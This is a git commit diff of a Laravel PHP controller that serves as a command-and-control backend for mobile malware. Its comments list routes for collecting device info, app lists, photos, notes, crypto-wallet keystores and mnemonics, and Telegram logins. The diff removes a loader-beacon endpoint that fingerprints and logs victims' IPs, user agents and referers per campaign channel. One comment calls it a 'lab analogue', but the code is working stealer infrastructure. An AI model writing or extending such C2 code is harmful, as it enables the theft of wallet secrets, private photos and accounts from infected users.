feat: new channel
This commit is contained in:
@@ -4,15 +4,10 @@ namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Channel;
|
||||
use App\Models\PageVisit;
|
||||
use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use App\Support\UserAgentParser;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
@@ -22,6 +17,8 @@ use Illuminate\Support\Facades\Storage;
|
||||
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
|
||||
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
|
||||
* /api/tg/t Telegram auth (tglib).
|
||||
*
|
||||
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
|
||||
*/
|
||||
class XxbbC2Controller extends Controller
|
||||
{
|
||||
@@ -34,110 +31,6 @@ class XxbbC2Controller extends Controller
|
||||
return response('ok', 200)->header('Content-Type', 'text/plain');
|
||||
}
|
||||
|
||||
/**
|
||||
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
|
||||
*/
|
||||
public function iptj(Request $request): Response
|
||||
{
|
||||
$payload = $request->json()->all();
|
||||
if ($payload === []) {
|
||||
$decoded = json_decode((string) $request->getContent(), true);
|
||||
$payload = is_array($decoded) ? $decoded : [];
|
||||
}
|
||||
|
||||
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
|
||||
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
|
||||
if ($normalizedCode !== null) {
|
||||
$channelCode = $normalizedCode;
|
||||
}
|
||||
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
|
||||
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
|
||||
$sessionId = $this->normalizeSessionId(
|
||||
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
|
||||
);
|
||||
|
||||
$domain = PageVisit::normalizeDomain($domain);
|
||||
$ip = PageVisit::normalizeIp((string) $request->ip());
|
||||
$uid = PageVisit::visitorUid($domain, $ip);
|
||||
$recorded = false;
|
||||
|
||||
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
|
||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||
$parsed = UserAgentParser::parse($ua);
|
||||
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
|
||||
// Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`).
|
||||
if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
|
||||
$osVersion = $m[1];
|
||||
}
|
||||
try {
|
||||
PageVisit::query()->create([
|
||||
'channel_id' => substr($channelCode, 0, 64),
|
||||
'client_uid' => $uid,
|
||||
'session_id' => $sessionId,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
|
||||
'os_version' => $osVersion,
|
||||
'browser' => $parsed['browser'],
|
||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'domain' => $domain,
|
||||
'referer' => $this->referer($request),
|
||||
'created_at' => now(),
|
||||
]);
|
||||
$recorded = true;
|
||||
} catch (QueryException $e) {
|
||||
if (($e->errorInfo[0] ?? '') !== '23000') {
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
$meta = c2_log_request_meta($request);
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => '/'.ltrim($request->path(), '/'),
|
||||
'ip' => $ip !== '' ? $ip : $meta['ip'],
|
||||
'remote_addr' => $meta['remote_addr'],
|
||||
'device_key' => null,
|
||||
'client_uid' => $uid !== '' ? $uid : null,
|
||||
'recorded' => $recorded,
|
||||
'timestamp_hdr' => null,
|
||||
'headers' => $meta['headers'],
|
||||
'payload' => $payload,
|
||||
'decrypt_ok' => true,
|
||||
'error' => null,
|
||||
], 'xxbb');
|
||||
|
||||
return response('{}', 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
private function normalizeSessionId(string $sessionId): ?string
|
||||
{
|
||||
$sessionId = trim($sessionId);
|
||||
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return $sessionId;
|
||||
}
|
||||
|
||||
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
|
||||
{
|
||||
if ($sessionId !== null) {
|
||||
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
|
||||
if (! Cache::add($debounceKey, 1, now()->addDay())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
|
||||
}
|
||||
|
||||
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
|
||||
|
||||
return Cache::add($debounceKey, 1, now()->addSeconds(8));
|
||||
}
|
||||
|
||||
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
|
||||
public function profile(Request $request): Response
|
||||
{
|
||||
@@ -163,7 +56,7 @@ class XxbbC2Controller extends Controller
|
||||
public function event(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDeviceEvent($device, $payload);
|
||||
}
|
||||
@@ -309,16 +202,6 @@ class XxbbC2Controller extends Controller
|
||||
);
|
||||
}
|
||||
|
||||
private function referer(Request $request): ?string
|
||||
{
|
||||
$referer = trim((string) $request->headers->get('referer', ''));
|
||||
if ($referer === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
return substr($referer, 0, 512);
|
||||
}
|
||||
|
||||
private function xxbbAck(Request $request): Response
|
||||
{
|
||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||
|
||||
Reference in New Issue
Block a user